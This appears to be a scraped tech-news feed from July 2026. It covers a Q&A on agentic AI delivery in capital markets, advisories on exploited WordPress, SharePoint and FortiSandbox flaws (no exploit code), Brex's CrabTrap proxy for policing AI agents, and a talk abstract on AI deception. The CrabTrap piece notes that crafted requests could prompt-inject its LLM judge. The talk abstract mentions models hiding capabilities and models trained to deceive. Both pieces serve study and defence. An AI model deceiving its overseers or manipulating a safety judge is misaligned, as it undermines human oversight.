But smaller firms are in the mix now, as well. AI is helping 28Stone Consulting, a New York-based, 230-person technology consultancy for capital markets, punch above its weight against larger rivals in the rush to deliver FDEs.

In this Q&A, Thomas Dolan and Frank Erickson, founders of 28Stone, argue that agentic AI isn’t a one-size-fits-all solution in vertical markets; success takes discipline, deep domain expertise, and human involvement to mitigate risk.

Many enterprises continue to struggle with the use of AI agents, which is consultancies are stepping in to get projects off the ground. 28Stone is among those that have published blueprints and methodologies on the development and delivery of agentic AI workflows with humans in the loop.

Computerworld spoke with both founding partners about why companies are still stumbling with agentic AI rollouts, and what a disciplined delivery process actually looks like.

After 15 years of delivering software for capital markets firms, is ‘AI-first’ a real distinction or just positioning?

Dolan: “We’re not shying away from being AI-forward. What needs to shine through is AI done intelligently — not stuff you get by buying some tokens for somebody on the trading desk. We’re an AI-first firm.”

Erickson: “And it’s temporary. At some point, AI is going to be synonymous with software development.

“The whole idea of an AI SDLC (software development lifecycle) versus an SDLC is going to be one and the same, a lot like cloud computing today. To not include AI in your strategy, you’d look like a COBOL vendor.”

What does agentic AI delivery look like?

Dolan: “We’ve got several AI initiatives delivering a pure agentic approach. We’ve doubled down on the human expertise wrapper in the SDLC. That doesn’t mean sacrificing any of the benefits of the AI models — quite the opposite.

“You don’t achieve anywhere near the same level of value from applying AI without keeping that expertise — industry, functional and technical — throughout the process.”

Where do humans stay in the loop once agents are doing the work?

Dolan: “We’re believers in starting with requirements discovery. Someone who knows the analytical nuances of a good business analyst is critically important; shaping a product owner’s business information through a markup file that can be fed into a BA agent, then treating the output as if it came from a very fast junior BA. Only then is the story complete.

“The developer takes that story, transforms it into the most efficient input, then owns the output, because they’re accountable for that code. A developer should own the code on both the input and output side.

“Your product owner, who knows the business, that’s great. But expecting them to interact with an agent and output enterprise code is ridiculous. It’s not a great plan.“

Why not just put one do-everything person in charge of AI and agents?

Erickson: “Every analyst, programmer or software engineer isn’t a great requirements analyst. And a great domain analyst with some technical background won’t know if the agent’s code is garbage, maintainable, performant.

“It’s unrealistic to expect one individual to have that breadth across domain, software engineering, testing, deployment. Clients ask all the time, and we push back: ‘Great, if you can find that guy, they’re few and far between.’ To deliver at the enterprise level, you need the human expertise, at depth.“

Dolan: “There’s system speed and latency, important in parts of finance. Then there’s speed of delivery, because other areas evolve quickly and time-to-market is critical.

“Our human wrapper may at first pass come across as a little slowed down. Maybe it is. But [Erickson] has a good analogy about one of the dangers of AI: you can end up going really fast in the wrong direction. By the time you look up, you’re way off base and have to backtrack.“

What about AI in your sector do you think is overhyped?

Dolan: “The hype around the ease of use of AI and the democratization of enterprise software delivery — that ‘anybody could do it now, it’s all being done by machines’ — is another idea that could prove costly in the long run.

“This do-it-yourself reaction is dangerous for clients, and for trust in the overall AI benefit, which is real. We compare it to the beginning of offshoring 20, 30 years ago: a golden idea that was going to cure everything. A lot of firms did it thoughtlessly, thinking it’s just labor arbitrage, and it almost inevitably failed. That all-or-nothing mentality missed that offshoring is an amazing way of getting better value for your dollar, but it has to be done thoughtfully, so the delivery process — the thing that ties it all together — stays unsevered.

“We’re seeing that now. I’ve heard, ‘We’ll just push a button, the machine’s building the system.’ The machine is not building the system. It might be writing the code, the story, running the tests.

The system is built by a team of engineers you bring in and trust. My fear is that people will say, ‘We don’t need this vendor or this technology team. I’ve got a product team. They might not be able to code at all, but they know the business,’ and it fails dramatically.

“Then people say, ‘We played with AI, it’s not ready yet,’ and throw it all away. One of the best things we can do is ensure clients know the benefit is real.“

Erickson: “The hype can be summed up in a single phrase: vibe coding. That has done AI a massive disservice, because there’s a huge difference between vibe coding and enterprise software development, and some of the loudest proponents of AI are too latched on to it. In our industry, the only way to succeed would be a stable of unicorns. It just doesn’t scale. I get perturbed when our people internally refer to AI tooling as vibe coding; if they think that’s what they’re doing, they’re misunderstood.“

When you engage clients at different levels of AI maturity, how do you get them to a understand what works?

Dolan: “95% of our take on an agentic approach is in line with everyone else’s, but that 5% matters, especially in requirements discovery, in who’s giving the requirements and how they’re thought of. It can set you up for dramatic errors, given the speed at which you’re moving.

“There’s a dangerous human tendency we’re seeing among clients to try and cut corners at the start of a project and — in lieu of having deep, expert driven discovery sessions — just summarize what they may want using AI.

“We would hope our clients are collaborative, everyone understanding it’s early days. If a client insists on doing something we feel strongly against, like a product owner completely owning everything right up to code generation, that’s an issue we have to either push back strongly on or step out of the accountability for.“

AI body shops — LLM providers and giant consultancies — are emerging to help enterprises deploy AI. Does that model work?

Dolan: “Whether you’re partnering with an LLM or with an AI-first, generic software provider — ‘Hey, we’re not industry guys, but we know AI delivery’ — you end up, if you’re a bank or a broker-dealer, saying: ‘All right, we know our business, these guys know the AI side of it. What could go wrong? Put us together and we’ll have quality engineering.’

“The problem is what you miss: the know-how of putting industry and technical expertise together and actually delivering financial services systems. The people working at the generic delivery firms, whether an AI-only firm or a body shop somewhere, don’t have that capability.“

Does AI change the economics for smaller consultancies like yours competing against the big firms, and does it cut both ways?

Dolan: “Over our 15 years pre-AI, there were two recurring reasons we’d lose a project. One: ‘We’d love to work with you guys, given your subject matter expertise, but the costs just aren’t there compared to my budgets. I’m being forced to go to a body shop or an [offshore] delivery center.’ The other side of that coin: ‘We love your capabilities, but you’re a firm of 230 people and I need 300, 400 people.’

“AI changes the options for clients. You don’t have to sacrifice the niche vendor who knows your space just because you need a larger team or a cost target. AI levels the playing field and should allow smaller firms to compete with the larger, big-box generic firms, the Accentures of the world.“

Erickson: “It redefines what scale means. You can look at velocity as a measure of your cost to deliver, not a rate card. Scale can’t be defined in terms of headcount anymore. It’s got to be defined in terms of output.

“There’s a threat in it, too. If you’re an Accenture with hundreds of thousands of low-cost software engineers, how do you train all those people? I feel for them. But for us, a couple hundred people with a specific domain focus, it’s a huge opportunity.“

How has the profile of the people you and others hire changed with this agentic process?

Erickson: “You’re still looking for people with strong engineering and design backgrounds, and communication skills, because they interact across the software development lifecycle more than in the past.

“Many take too much joy in typing out perfect code. Sorry, I don’t need you writing for-loops and classes anymore. I need you reviewing them, understanding them, operating at a higher level. That’s a different kind of person: an engineer, not a programmer or a coder. On the [business analyst] side it’s similar: people took great pride in detailed user stories covering every path. Now it’s conversations, prompts, reviewing output — less doing, more interacting.

“More than ever, they have to be interested in the domain. They can’t just be, ‘I want to learn everything there is to know about Java.’ That’s too narrow. They don’t have to be an expert; they have to be interested. In our case, capital markets is a specific niche. The biggest challenge is getting familiar with the tools — finding time, while delivering for customers, to ramp up and make the mistakes you need to without jeopardizing projects.“

What about governance? Who’s keeping AI delivery and its costs under control?

Erickson: “This is evolving rapidly. People aren’t sure how to put governance around this. The most obvious is financial governance. People are starting to get hefty bills. One of our clients spent a million dollars on tokens over the last eight weeks alone. Sticker shock. The token-maxing policies are starting to show their flaws. It’s wild west still: learn on the fly, then figure out what needs to be governed.“

Are CIOs actually opening their wallets? And when they do, what’s the smarter way to invest?

Erickson: “There’s still a lot of caution. Forecasts keep going down on how long something should take. So: ‘I could wait three months and maybe still get it delivered by the same date someone’s promising me now, but for half the price. I’m going to wait and see when equilibrium is met.’ We haven’t seen the wallets open up like crazy — it’s slow adoption.“

Dolan: “One of our clients is looking at it from a productivity-boost perspective: instead of doing the same for less, I can do much more for the same. AI lets clients pull the trigger on things they wouldn’t have in the past — projects that might not have been approved pre-AI, where the costs have come down to a point that’s palatable with the business.“

Erickson: “And that’s the story we’re hoping to hear more of. There isn’t a huge cost anymore to exploring a business opportunity. The time and money that would have gone to a return-on-investment study could be spent on a proof-of-concept with AI, and the project done a few weeks later. Maybe [there’s] a hint of things to come, where decisions start being made quicker.

“There’s a little fear on our side, though: a lot of tiny little projects is tough for a consulting business.“

One Malicious Web Request Can Turn an Exposed SharePoint Server Into a Persistent Backdoor

Mon, 20 Jul 2026 12:54:18 +0200

The post One Malicious Web Request Can Turn an Exposed SharePoint Server Into a Persistent Backdoor appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

WP2Shell WordPress Vulnerabilities Exploited in the Wild

Mon, 20 Jul 2026 07:53:51 +0200

Exploitation of the new WordPress vulnerabilities tracked as CVE-2026-60137 and CVE-2026-63030 started soon after disclosure.

The post WP2Shell WordPress Vulnerabilities Exploited in the Wild appeared first on SecurityWeek.

WP2Shell WordPress Vulnerabilities Exploited in the Wild

Mon, 20 Jul 2026 07:53:45 +0200

Exploitation of the new WordPress vulnerabilities tracked as CVE-2026-60137 and CVE-2026-63030 started soon after disclosure. The post WP2Shell WordPress Vulnerabilities Exploited in the Wild appeared first on SecurityWeek. This article has been indexed from SecurityWeek Read the original article: WP2Shell…

The post WP2Shell WordPress Vulnerabilities Exploited in the Wild appeared first on IT Security News.

‘House of the Dragon’ Season 3, Episode 5 Release Date and What to Expect

Sun, 19 Jul 2026 23:09:10 +0200

House of the Dragon Season 3, Episode 5 will arrive on Sunday, July 19, 2026, continuing the increasingly violent conflict between Rhaenyra Targaryen and the forces supporting Aegon II. Viewers in India can stream the episode early on Monday, July 20. Episode 5 Release Details US release date: Sunday, July 19, 2026 US release time: 9 p.m. ET and 6 p.m. PT India release date: Monday, July 20, 2026 India release time: Around 6:30 a.m. IST Where to watch: HBO and HBO Max in supported regions Genre: Fantasy, drama and action Episode: Season 3, Episode 5 Runtime: HBO has not confirmed the official duration Main cast: Emma D’Arcy, Matt Smith, Olivia Cooke, Ewan Mitchell, Tom Glynn-Carney, Sonoya Mizuno, Phoebe Campbell and James Norton Season 3 contains eight episodes, with a new episode releasing every Sunday in the United States. The finale is currently scheduled for August 9, 2026. Where Is the Story Heading? Spoilers for House of the Dragon Season 3, Episode 4 ahead. Episode 5 will continue the fallout from Daeron Targaryen’s disturbing transformation under Ormund Hightower. Ormund forced the young prince into committing his first murder, using Tessarion to kill Leo after a confrontation involving Hightower soldiers. The event showed how Ormund intends to shape Daeron into a weapon for the Greens. Daeron now faces a growing conflict between his Targaryen identity and the Hightower family that raised him. His connection with Tessarion also makes him an important player in the war, especially as both sides prepare for larger battles around Tumbleton. Daemon’s Secret Could Create More Trouble Episode 4 also revealed that Daemon lied to Rhaenyra about killing Sheepstealer’s rider. The rider is his daughter Rhaena, who refused to abandon the wild dragon. Daemon instead killed a shepherd and presented the remains to Rhaenyra as proof that he had completed her order. Episode 5 could place Daemon under greater pressure as Mysaria already suspects that he is hiding something. Rhaena’s bond with Sheepstealer also gives the Blacks another possible dragonrider, although her decision to claim the dragon could deepen the conflict within Rhaenyra’s court. Meanwhile, Rhaenyra must handle political betrayal, financial problems and growing doubts about her leadership. With Daeron entering the war and Daemon keeping dangerous secrets, Episode 5 should move several major characters closer to direct confrontation. What do you plan to watch when House of the Dragon Season 3, Episode 5 arrives? Let us know in the comments.

Weekly Cyber Security Newsletter Bulletin – EY Breach, Wpzshell Exploit, Notepad++ Flaws +20 Stories

Sun, 19 Jul 2026 17:23:24 +0200

This week’s cybersecurity situation shows a clear reality: every part of technology, from identity systems to common productivity tools, can be hacked or compromised. Microsoft’s July Patch Tuesday alone addressed roughly 570 vulnerabilities, including two zero-days already being exploited in the wild against SharePoint Server and Active Directory Federation Services, signaling that attackers are moving […]

The post Weekly Cyber Security Newsletter Bulletin – EY Breach, Wpzshell Exploit, Notepad++ Flaws +20 Stories appeared first on Cyber Security News.

AI job worries grow. But some human skills can’t be replaced by machines | Gaynor Parkin and Dave Winsborough

Sun, 19 Jul 2026 17:03:15 +0200

The fear of becoming obsolete is a rising source of anxiety as artificial intelligence emerges in the workplace. Staying strongly connected with others will help

The modern mind is a column where experts discuss mental health issues they are seeing in their work

Earlier this year Paul* discovered via a flurry of media stories that his business group had been targeted for job cuts, alongside a number of other public sector agencies. For him, this was the second time, after his technical management role was restructured in 2024. While that process was difficult enough, the comms this time were highlighting the integration of AI as a cost-saving tool. “They say it’s not about firing people, but hey, my whole team will go.”

For Paul, the timing could not have been worse. He and his partner are expecting a child and recently purchased their first house.

Curiosity: Seek new learning, perspectives and interests, look outside your usual sources for inspiration. You can use AI to widen your perspective and spark ideas, but stay engaged with the world beyond the screen.

Humility: Grow your self-awareness. Reflect on what comes naturally, what energises you, and where you get stuck. Then invite honest feedback. AI learns through feedback – you can too. Ask people you trust what to start, stop and keep doing.

Emotional intelligence: Your ability to connect, show empathy and communicate with care will only become more valuable.

So AIs are lying to us now, huh? (emf2026)

Sun, 19 Jul 2026 01:03:16 +0200

As AI systems are getting smarter, safety researchers are increasingly concerned by a new capability of these models - they are getting very good at lying. This behaviour is seen both in and out of evaluation settings, and has a fascinating range of root causes. In this talk, we'll investigate the phenomena of AI deception across a broad range of scenarios. Discover how chatbots lie for your own good, when models strategically hide their capabilities, and why ChatGPT is better than you at Avalon. We'll cover how researchers are training model organisms designed to be good at deception, and how this helps us to detect scheming in the wild. Most importantly, we'll attempt to answer the question: how worried should we be about all this? Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/ about this event: https://www.emfcamp.org/schedule/2026/154-so-ais-are-lying-to-us-now-huh

HACKING RIDE GOES WRONG?! ⚠️ #horseriding #equestrianlife #stablevlog #horsegirl

Sat, 18 Jul 2026 06:08:17 +0200

Heute haben Samba und ich wieder an unserem Gelände Problem gearbeitet. Es war definitiv wild, aber er hat das brav gemacht!

CVE-2026-63030: wp2shell a Critical Remote Code Execution Vulnerability in WordPress Core

Sat, 18 Jul 2026 00:50:20 +0200

Overview

On July 17, 2026, a GitHub Security Advisory was published for CVE-2026-63030, a critical unauthenticated remote code execution vulnerability affecting WordPress Core. WordPress Core. While the official GitHub security advisory classifies the severity as Critical, the vulnerability has currently been assigned a CVSS score of 7.5. WordPress is one of the most widely deployed content management systems, making vulnerabilities in its core software potentially significant for organizations operating public-facing websites. The vulnerability reportedly allows an unauthenticated attacker to execute code via the WordPress REST API batch endpoint, potentially resulting in complete compromise of the website and its underlying data. No valid account or user interaction is required.

According to the advisory, the vulnerability affects WordPress versions 6.9.0 through 6.9.4 and versions 7.0.0 through 7.0.1. The issue is fixed in WordPress 6.9.5 and 7.0.2. A fix is also included in WordPress 7.1 Beta 2.

Cloudflare reported that the vulnerable code path can be reached when a persistent object cache is not in use. Searchlight Cyber, whose researchers identified the vulnerability, stated that it can be exploited remotely against a default WordPress installation without requiring additional plugins.

Technical exploit details have not yet been published by Searchlight Cyber, as of July 17 5:45 PM Eastern time. At the time of publication, Rapid7 is not aware of publicly confirmed in-the-wild exploitation. Organizations should not interpret the absence of public exploitation reports as an indication of low risk, particularly given the vulnerability’s unauthenticated attack path and the widespread deployment of WordPress; affected WordPress sites should be urgently patched. Due to WordPress Core being an open-source project and given the current ability of AI models to analyze open-source code, Rapid7 Labs believes it is highly likely that a public PoC will be made available in a short period of time.

Mitigation guidance

Organizations operating affected WordPress installations should prioritize upgrading immediately. Applying the WordPress-provided update is the most effective way to remediate CVE-2026-63030.

Affected and fixed versions include:

WordPress branch	Affected versions	Fixed version
Earlier than 6.9	Not affected by CVE-2026-63030	No action required for this CVE
6.9	6.9.0 through 6.9.4	6.9.5
7.0	7.0.0 through 7.0.1	7.0.2
7.1 beta	Affected beta versions were not fully specified	7.1 Beta 2

WordPress maintainers stated they are forcing updates for affected installations with automatic updates enabled. Administrators should nevertheless verify that each internet-facing WordPress website has successfully upgraded to WordPress 6.9.5, 7.0.2, or another fixed release appropriate for its branch. Workarounds are not recommended at this time.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-63030 with authenticated vulnerability checks available in the July 20th, 2026 content release.

Updates

July 17, 2026: Initial publication.

Brex built its AI agent policy by watching what agents actually do, not by writing rules first

Fri, 17 Jul 2026 21:32:56 +0200

OpenClaw has become one of the most widely adopted agentic frameworks, but it has yet to prove itself at enterprise scale. Agents need real credentials — API keys, OAuth tokens, service accounts — to work effectively, and Brex found that traditional guardrails couldn't contain what those agents were doing with them.

Brex set out to overcome these limitations by building an internal platform it calls CrabTrap. The open-source HTTP/HTTPS proxy intercepts all network traffic, examines policy rules, and uses a LLM-as-a-judge to decide whether agent requests should be approved or denied.

“What we noticed was that the network layer was an untapped enforcement point,” Brex co-founder and CEO Pedro Franceschi told VentureBeat. “Every request an agent makes is an opportunity to intercept, reason about, and make a policy decision.”

The takeaway Franceschi wants IT leaders to draw: agent governance should shift from SDK-level permissions and model guardrails toward a centralized network control plane that enforces and learns from real in-the-wild agent behavior.

How Brex targeted the transport layer

The “obvious fix” (at least initially) to the agent security gap was guardrails, and much of the early work has centered on scoped tools, per-action permissions, and human-in-the-loop approvals. But as agents evolve, each new capability means there’s another API to tune or surface to audit, Franceschi noted.

“Any agentic system with multiple tools and access to the open internet creates an immediate tension for builders: The more capable you make an agent, the more dangerous it becomes, and the safer you make it, the less useful it is,” he said.

Existing solutions to this tradeoff were “weak”: Fine-grained API tokens help at the margins but can still be misused and constrain functionality. Semantic guardrails (such as context, skills, or prompt steering) are easily bypassed by prompt injection, especially for agents connected to the internet.

Agents can be “defanged” when given read-only access or limited toolsets, but then they can't do meaningful work, Franceschi said. On the other hand, granting broad write access and a large tool surface can result in hallucinations and real production consequences.

Model context protocol (MCP) gateways enforce policy at the protocol layer — but only for traffic using MCP. Meanwhile, guardrails from LLM providers are tied to a single model and can be “opaque” to customize with enterprise-specific policies. And powerful tools like Nvidia OpenShell offer more of a “per-sandbox egress control.”

“When we started, we hadn’t found a solution to deploying harnesses like OpenClaw safely,” Franceschi said. “Instead of waiting for the industry to catch up, we decided to own the problem and invent the necessary tools.”

Notably, they needed a platform that sat between every agent and every network request, and could make “nuanced decisions about what to allow,” he said.

This made the transport layer a core architectural component and natural starting point, he said.

By operating at this layer, CrabTrap is framework-agnostic, language-agnostic, and API-agnostic. It doesn't require SDK wrappers or per-tool integration. Users set HTTP_PROXY and HTTPS_PROXY in the agent's environment, and every outbound request routes through the proxy before it reaches a destination.

However, Franceschi emphasized, Brex didn't start at the transport layer because it thought it was the only answer; rather, they believe in “security by layers.”

“The transport layer was simply an underinvested one, and we saw an opportunity to add meaningful enforcement there alongside everything else,” he said.

The LLM-as-a-judge training loop

CrabTrap combines deterministic static rules with an LLM-as-a-judge for requests that fall outside known patterns, Franceschi explained. The judge only “fires on the long tail of unfamiliar endpoints or unusual request shapes,” which for a mature agent is typically fewer than 3% of requests.

The more pressing problem was how to know that a policy is the right one? With static rules, it's “relatively straightforward” to reason about accuracy. But with an LLM judge, the system is nondeterministic, and users need confidence that the policy approves the right requests and blocks the rest.

“Our key insight was to bootstrap policy from observed behavior rather than write it from scratch,” Franceschi said. Beginning with real behavior and editing down based on real-world learnings turned out to be “dramatically more effective than starting from a blank page.”

Brex’s team built a policy builder (itself an agentic loop) that runs underlying agents in shadow mode, analyzes historic network traffic, samples representative calls, and drafts a natural-language policy that matches what the agent actually does.

From there, they built an eval system that tests policy changes before they go live. CrabTrap compares historical audit entries against a draft policy and reports the exact changes to be made. Users can slice results by method, URL, original decision, and agreement status.

All of this runs with concurrent judge calls, so replaying thousands of requests “takes minutes, not hours,” Franceschi said. Brex also developed a live feedback loop: Full audit trails are stored in PostgreSQL and queryable through the admin API and dashboard. In cases where a resource is continuously denied, the system can notify a human or an agent to propose a policy update for review.

“That closes the loop between observed denials and policy refinement,” Franceschi said.

Core challenges and roadblocks

Of course, the build wasn’t without its challenges. A big one was latency: “Putting an LLM between an agent and every outbound API request sounds like it would grind things to a halt,” he said.

However, it didn’t turn out to be as big a problem as expected. This was for two reasons: The LLM judge only activates on a small fraction of requests (the aforementioned 3%). Agents quickly settle into predictable traffic patterns; once observed, high-volume patterns become static rules. Second, by using small, fast models like Claude Haiku meant that, even when the judge did fire, added latency was “negligible.” This can be further reduced with local models and prompt caching, Franceschi said.

The harder and less obvious challenge was prompt injection, he said. The judge receives the full HTTP request and all content is user-controlled, so potentially, a crafted URL, header, or request body could manipulate the judge's decision.

Brex addressed this by structuring the request as a JSON object before sending it to the model, so all user-controlled content is “escaped rather than interpolated as raw text,” Franceschi said.

Results, and where CrabTrap might evolve

Brex tracks a few factors to measure CrabTrap’s internal impact: Engagement with agents, network traffic patterns, and net promoter scores (NPS). The most meaningful result of CrabTrap has been “organizational confidence,” Franceschi said.

Previously, the team had “real hesitation” when it came to deploying autonomous agents broadly across business operations, because the existing guardrail options didn't provide enough assurance.

“CrabTrap changed that calculus,” Franceschi said. They now have an enforcement layer they trust, increasing confidence around expanding agent deployment into more parts of the business and delegating more agent configuration and management to users.

Franceschi described the policies derived from traffic as “surprisingly strong.” The team expected the policy builder to produce a “rough starting point” requiring heavy manual editing. In practice, though, pointing the platform at a few days of real traffic produced policies that matched human judgment on the “vast majority of held-out requests.”

Additionally, CrabTrap revealed how much noise agents generate. “The audit trail made this visible for the first time,” Franceschi said. They used denial logs and traffic analysis not only to tune policies, but to tighten agents themselves, remove tools, and cut out entire categories of requests that were wasting both time and tokens.

“The proxy became a discovery tool, not just an enforcement one,” he said.

Areas for growth (and input from the open-source community)

Brex anticipates CrabTrap to continue to evolve, particularly as they have released it as open-source. “We hope the community helps shape it,” Franceschi said.

Areas of improvement include deeper authentication functionality such as single-sign on (SSO), fine-grained role-based access control (RBAC); escalation workflows that allow agents to request additional permissions; and policy recommendations based on denial patterns.

Programmatic configuration, or developing API endpoints for “creating, forking, and applying” policies to agents, could allow the whole policy lifecycle to be automated rather than managed manually, Franceschi said.

As for escalation, if an agent is continuously denied a given resource or endpoint, it should be able to route requests to humans or other AI agents for review and back that up with a rationale for why it needs access.

“That turns CrabTrap from a hard enforcement boundary into something more like a managed permission system,” Franceschi said.

Additionally, the policy was built to bootstrap from network traffic, but there is opportunity to incorporate additional signals around agent traces and resource-calling, as well as broader context on what agents are ultimately trying to accomplish. This can help produce more accurate and nuanced policies.

Finally, there's an “open philosophical question” about the right posture for CrabTrap: Should it be a fully transparent layer that the agent itself is unaware of, or should it operate more like a “well-intentioned manager”? (that is, the agent knows about the layer and can interact with it).

The open-source community can help shape these developments, and CrabTrap will only get better with more users, Franceschi said. Brex’s agents speak to a specific set of APIs; teams using CrabTrap with different agents, services, and policy requirements will surface “edge cases and patterns we can't hit alone.”

“We have ambitious plans for where it could go, and we’d rather build in the open,” Franceschi said.

What other builders can learn from CrabTrap

The response has been stronger than expected. CrabTrap has more than 700 stars on GitHub. Franceschi said Brex has also heard from OpenAI, Y Combinator CEO Garry Tan, and programmer Pete Steinberger, all expressing interest in deploying similar internal infrastructure.

The broader lesson: “Don't let infrastructure gaps become excuses to wait," Franceschi advised. There are “real blockers” for every enterprise looking to seriously deploy AI agents, including security concerns, lack of tooling, or unclear guardrails.

“It's tempting to sit on your hands until the industry catches up,” he said. “The lesson from CrabTrap is that you can own those problems directly.”

CVE-2026-58644: Microsoft SharePoint Server Unauthenticated Remote Code Execution Vulnerability Exploited in the Wild

Fri, 17 Jul 2026 20:53:49 +0200

Overview

On July 14, 2026, Microsoft published a security advisory addressing CVE-2026-58644, a critical remote code execution (RCE) vulnerability affecting on-premises Microsoft SharePoint Server deployments. The vulnerability, which carries a CVSS v3.1 score of 9.8 (Critical), results from the deserialization of untrusted data (CWE-502) and allows an unauthenticated attacker to execute arbitrary code.

Microsoft confirmed active exploitation of CVE-2026-58644, and the vulnerability was subsequently added to CISA’s Known Exploited Vulnerabilities (KEV) catalog on July 16, 2026. In parallel, CISA published guidance recommending organizations immediately apply Microsoft’s security updates and leverage Microsoft Defender and AMSI detections to identify exploitation attempts.

Affected products:

Microsoft SharePoint Enterprise Server 2016
Microsoft SharePoint Server 2019
Microsoft SharePoint Server Subscription Edition

Mitigation guidance

Organizations operating affected on-premises Microsoft SharePoint Server should prioritize remediation on an emergency basis.

Microsoft’s recommendations:

Apply the July 14, 2026 security updates for all affected SharePoint versions.
Verify that security updates completed successfully across all SharePoint servers.
Ensure Antimalware Scan Interface (AMSI) integration is enabled for every SharePoint web application.
Monitor Microsoft Defender and AMSI detections for indicators of attempted exploitation.
Initiate incident response procedures if exploitation artifacts are detected.

Microsoft and CISA recommend monitoring for the following security detections associated with observed SharePoint exploitation activity.

AMSI / Microsoft Defender detections:

Exploit:Script/SuspSignoutReqBody.A

Request body scanning
SharePoint Server Subscription Edition
Microsoft reports observed exploitation attempts are blocked by this signature.

Exploit:Script/ToolPaneAuthBypass.A

Request header scanning
Applies to SharePoint Server 2016, SharePoint Server 2019, and Subscription Edition.

Exploit:Script/ToolPaneAuthBypass

At the time of publication, no public IP addresses, domains, URLs, or additional network-based indicators of compromise have been widely disclosed.

Administrators should consult Microsoft’s advisory for the most current remediation guidance and update availability.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-58644 with an authenticated vulnerability check available since the July 14 content release.

Updates

July 17, 2026: Initial publication.

AI workloads shake up observability market

Fri, 17 Jul 2026 18:28:45 +0200

Observability platforms are evolving beyond traditional monitoring as vendors add AI capabilities and cost-management features aimed at helping enterprise organizations better manage increasingly complex IT environments.

Vendors are investing heavily in AI observability, autonomous investigations, cost optimization, and operational intelligence as they try to evolve their platforms into systems that help IT teams understand problems, identify root causes, and determine the best course of action, according to Gartner, which just published its latest Magic Quadrant for Observability Platforms.

Gartner defines the observability category as technologies that help organizations understand and optimize the health, performance, and behavior of applications, infrastructure, services, AI agents, and user experiences by collecting and analyzing telemetry data, such as logs, metrics, events, and traces.

There are 19 vendors that made the cut for Gartner’s new report. Its Leaders quadrant includes (alphabetically) Chronosphere, Coralogix, Datadog, Dynatrace, Elastic, Grafana Labs, IBM, and New Relic. The Challengers are Alibaba Cloud, Amazon Web Services, LogicMonitor, Microsoft, and Splunk. The two Visionaries are BMC Helix and Honeycomb. Those dubbed Niche Players are Apica, HPE, ScienceLogic, and SolarWinds. (For specific vendor strengths and cautions, check out the full Gartner report. Some vendors offer free versions of the report with registration.)

Looking beyond quadrant placement, Gartner advises organizations to evaluate vendors based on their ability to deliver full-stack observability and their “roadmap credibility” in key areas such as AI observability, OpenTelemetry interoperability, and the ability to observe and govern AI agents.

AI observability emerges as a key differentiator

Organizations are increasingly looking for visibility into AI workloads, including token consumption, model latency, response quality, hallucination rates, and other AI-specific performance metrics, according to the report. Gartner identifies AI observability as an emerging requirement, driven by growing enterprise interest in large language models (LLMs), genAI applications, and agentic AI systems.

The report recognizes a growing number of vendors introducing AI-focused monitoring, autonomous investigations, AI agents, and specialized observability capabilities designed to help organizations monitor and govern AI-powered applications and workflows. At the same time, Gartner clarifies that many claims surrounding autonomous operations remain ahead of reality.

“The transition from generative AI assistants to autonomous agents is more complex than vendor marketing suggests,” the report states.

Cost management becomes a top priority

While AI may dominate vendor messaging, Gartner states that telemetry cost management remains one of the top concerns for enterprise buyers.

As organizations collect larger amounts of logs, traces, metrics, and events, observability spending is increasingly attracting attention from finance and procurement teams. Gartner notes that 5% of its clients now spend more than $10 million annually with a single observability provider.

Gartner describes pipeline management as a strategic layer that is becoming central to observability deployments. Vendors that fail to address these cost concerns risk losing customers to vendor-agnostic alternatives focused on telemetry optimization. Organizations increasingly want platforms that can provide cost attribution, utilization insights, and financial metrics that help justify observability investments, according to Gartner.

Gartner projects the observability market will reach $14.3 billion by 2028, driven increasingly by organizations’ need to manage growing telemetry volumes.

OpenTelemetry is table stakes as consolidation continues

The growing impact of open standards is a major shift for observability, Gartner notes.

The widespread adoption of OpenTelemetry and eBPF-based instrumentation has lowered barriers to switching observability providers and made telemetry collection increasingly commoditized, the research firm explains. Gartner says many enterprise buyers now consider OpenTelemetry support a baseline requirement rather than a differentiator.

As a result, vendors are now trying to differentiate themselves through analytics, automation, AI capabilities, and user experience rather than proprietary data collection approaches. That shift is forcing vendors to demonstrate value beyond monitoring and visibility, as buyers seek platforms capable of accelerating troubleshooting, automating investigations, and improving operational outcomes, according to Gartner.

Gartner says market consolidation continues to favor platform-oriented vendors that combine full-stack observability with integrated AI capabilities. Organizations are increasingly looking for unified platforms that can monitor applications, infrastructure, digital experiences, and AI workloads from a single environment.

The rise of operational intelligence

As enterprises modernize applications and expand AI initiatives, organizations want platforms that can not only identify problems but also explain causes, prioritize actions, and potentially automate remediation. Vendors are expanding observability platforms with AI-driven analytics, automation, and governance capabilities that span applications, infrastructure, cloud services, and AI workloads.

For enterprise buyers, the next phase of observability may be defined less by telemetry collection and more by how effectively vendors can transform data into intelligence, automation, and measurable business outcomes.

BHIS - Talkin' Bout [infosec] News 2026-07-20

Fri, 17 Jul 2026 16:19:13 +0200

Author: Black Hills Information Security - Bewertung: 0x - Views:0

Apple vs. OpenAI: These Lawsuit Details Are Wild video

Fri, 17 Jul 2026 15:18:46 +0200

Apple sued OpenAI, accusing the company of stealing its trade secrets. But what now? CNET's Bridget Carey breaks down what to expect next -- and how it might impact OpenAI's hardware plans.

'I thought it was satire': Sam Altman mocks Anthropic's latest AI ad that's getting widely blasted for being 'dystopian marketing slop'

Fri, 17 Jul 2026 14:17:48 +0200

There's a new Anthropic ad for Claude in the wild, but it hasn't had quite the impact that its creators might have been hoping for.

CISA Warns of Two Fortinet FortiSandbox Flaws Exploited to Execute Commands

Fri, 17 Jul 2026 11:56:02 +0200

The post CISA Warns of Two Fortinet FortiSandbox Flaws Exploited to Execute Commands appeared first on IT Security News.

CISA Warns of Two Fortinet FortiSandbox Flaws Exploited to Execute Commands

Fri, 17 Jul 2026 11:24:46 +0200

The U.S. Cybersecurity and Infrastructure Security Agency (CISA) has added two critical vulnerabilities in Fortinet FortiSandbox to its Known Exploited Vulnerabilities (KEV) catalog. These flaws are actively being exploited in the wild to execute unauthorized commands on affected systems. The vulnerabilities, tracked as CVE-2026-39808 and CVE-2026-25089, involve OS command injection weaknesses (CWE-78) and impact FortiSandbox […]

The post CISA Warns of Two Fortinet FortiSandbox Flaws Exploited to Execute Commands appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

